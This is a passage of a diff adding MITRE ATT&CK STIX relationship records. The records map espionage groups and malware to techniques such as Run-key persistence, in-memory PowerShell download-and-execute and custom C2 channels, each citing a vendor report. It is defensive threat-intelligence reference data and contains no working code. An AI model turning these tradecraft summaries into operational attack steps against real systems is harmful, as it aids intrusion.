Adobe's Acrobat Reader, was used by [APT1](https://attack.mitre.org/groups/G0006) as a name for malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.035Z", + "id": "relationship--c7823efd-005f-49ad-94cf-ebc44a87abed", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.288Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has extensively used strategic web compromises to target victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--83075ee3-b372-48a4-a54c-ca54afdd8c0b", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.225Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "Securelist LuckyMouse June 2018", + "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used CMSTP.exe and a malicious INF to execute its [POWERSTATS](https://attack.mitre.org/software/S0223) payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--3dad318f-b446-49c6-a62b-f0596b63a9c5", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.709Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "source_name": "FireEye MuddyWater Mar 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used scheduled tasks to persist on victim systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--98908617-068d-4b6e-bcba-ad213c137b1e", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.029Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used a tool called RarStar that encodes data with a custom XOR algorithm when posting it to a C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--ec4d07a2-8c8b-4df8-bb9e-b8c3e23d8dc5", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.324Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.020Z", + "id": "relationship--cff2088f-c003-4d03-aa8a-cca36753b930", + "source_ref": "course-of-action--ba06d68a-4891-4eb5-b634-152e05ec60ee", + "modified": "2019-07-24T19:05:56.602Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers system information via Windows Management Instrumentation (WMI).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.073Z", + "id": "relationship--94b4648a-4108-468c-be51-cca365fd97ac", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "source_name": "Citizen Lab Stealth Falcon May 2016", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used scheduled tasks to maintain RDP backdoors.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--55ea8954-9b81-45e4-89c9-a6b55f5b2541", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.757Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) uses Microsoft\u2019s TechNet Web portal to obtain a dead drop resolver containing an encoded tag with the IP address of a command and control server. It has also obfuscated its C2 traffic as normal traffic to sites such as Github.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8b0e9de1-a7b0-479e-aee7-76f2549508c6", + "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "source_name": "FireEye APT17", + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + }, + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) uses multiple protocols (HTTPS, HTTP, DNS) for its C2 server as fallback channels if communication with one is unsuccessful.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--dc4bc74b-cd60-4853-a436-8d5e34b01564", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "source_name": "Unit 42 QUADAGENT July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Wingbird](https://attack.mitre.org/software/S0176) performs multiple process injections to hijack system processes and execute malicious code.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--e7baabf7-9300-432d-aa78-000ac099d4d3", + "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "source_name": "Microsoft SIR Vol 21", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) has retrieved stage 2 payloads as Bitmap images that use Least Significant Bit (LSB) steganography.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--84f88ed3-28fe-4936-8ea2-2d4f6d015c0c", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "source_name": "Proofpoint TA459 April 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + }, + { + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "source_name": "Proofpoint ZeroT Feb 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families install themselves as new services on victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.066Z", + "id": "relationship--e42eef1a-107e-40a3-9227-45621e277ff3", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.234Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has used RAR to stage and compress local folders.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d8609889-3d3e-4f6c-8f52-03ec41876b4d", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.334Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "source_name": "FireEye APT35 2018", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader uses the Windows command \"cmd.exe\" /C whoami to verify that it is running with the elevated privileges of \u201cSystem.\u201d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.056Z", + "id": "relationship--fcfb3ce0-01a0-4f92-8e18-b323202d095d", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.574Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) creates a Registry entry modifying the Logical Disk Manager service to point to a malicious DLL dropped to disk.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e00d191c-918e-4eaf-9744-4e47dfcd9a08", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "source_name": "Symantec Darkmoon Aug 2005", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) has dropped binaries as files named microsoft_network.exe and crome.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--311c1e0c-3b7b-456a-bb79-7288db54ed82", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "modified": "2019-06-24T19:05:41.600Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[yty](https://attack.mitre.org/software/S0248) collects files with the following extensions: .ppt, .pptx, .pdf, .doc, .docx, .xls, .xlsx, .docm, .rtf, .inp, .xlsm, .csv, .odt, .pps, .vcf and sends them back to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--48eff76f-1f39-49e8-87c2-11607a8aeea3", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "modified": "2019-04-25T00:09:23.203Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) uses a custom command and control protocol that is encapsulated in HTTP, HTTPS, or DNS. In addition, it conducts peer-to-peer communication over Windows named pipes encapsulated in the SMB protocol. All protocols use their standard assigned ports.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5909e6e9-c620-4278-9bdc-113f09e5799b", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.424Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has a command to get the victim's domain and NetBIOS name.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0db8a021-2f3a-41cc-abc6-d8723c7e802b", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "modified": "2019-04-22T22:31:38.370Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has sent spearphishing emails with links, often using a fraudulent lookalike domain and stolen branding.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--61f91f23-a8a5-4b4e-b546-f0fff28851a1", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.391Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) communicates using HTTPS and uses a custom encryption cipher to encrypt the HTTPS message body.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--10c33088-630e-456d-ad0f-8a63be4d3946", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Blasco, J. (2013, March 21). New Sykipot developments [Blog]. Retrieved November 12, 2014.", + "source_name": "Blasco 2013", + "url": "http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used Registry Run keys for persistence. The group has also set a Startup path to launch the PowerShell shell command and download Cobalt Strike.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--bd5bc949-6b6b-4511-87f7-3a439a4681da", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:33.936Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) adds a Registry Run key for persistence and adds a script in the Startup folder to deploy the payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--51cc7dff-7fb4-41bc-a67d-39598f14f1d8", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "modified": "2019-06-24T19:07:12.589Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Malwarebytes SmokeLoader 2016", + "description": "Hasherezade. (2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f388c949-b692-4863-8e3b-7c1fc21a5fbd", + "source_ref": "course-of-action--c3cf2312-3aab-4aaf-86e6-ab3505430482", + "modified": "2019-07-25T11:29:48.437Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has used PowerShell scripts to download and execute programs in memory, without writing to disk.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.043Z", + "id": "relationship--6fdc3210-9754-4157-b386-8fcd680e732c", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "modified": "2019-03-22T20:09:34.777Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.062Z", + "id": "relationship--412b7fbf-bc21-4373-9f2c-5f0a26482536", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.622Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + }, + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can modify service configurations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--96077086-d811-47a1-a805-decbf6f249b7", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "modified": "2019-04-24T23:10:02.485Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.036Z", + "id": "relationship--6e366a30-cf75-4a47-855f-91a006014ada", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": 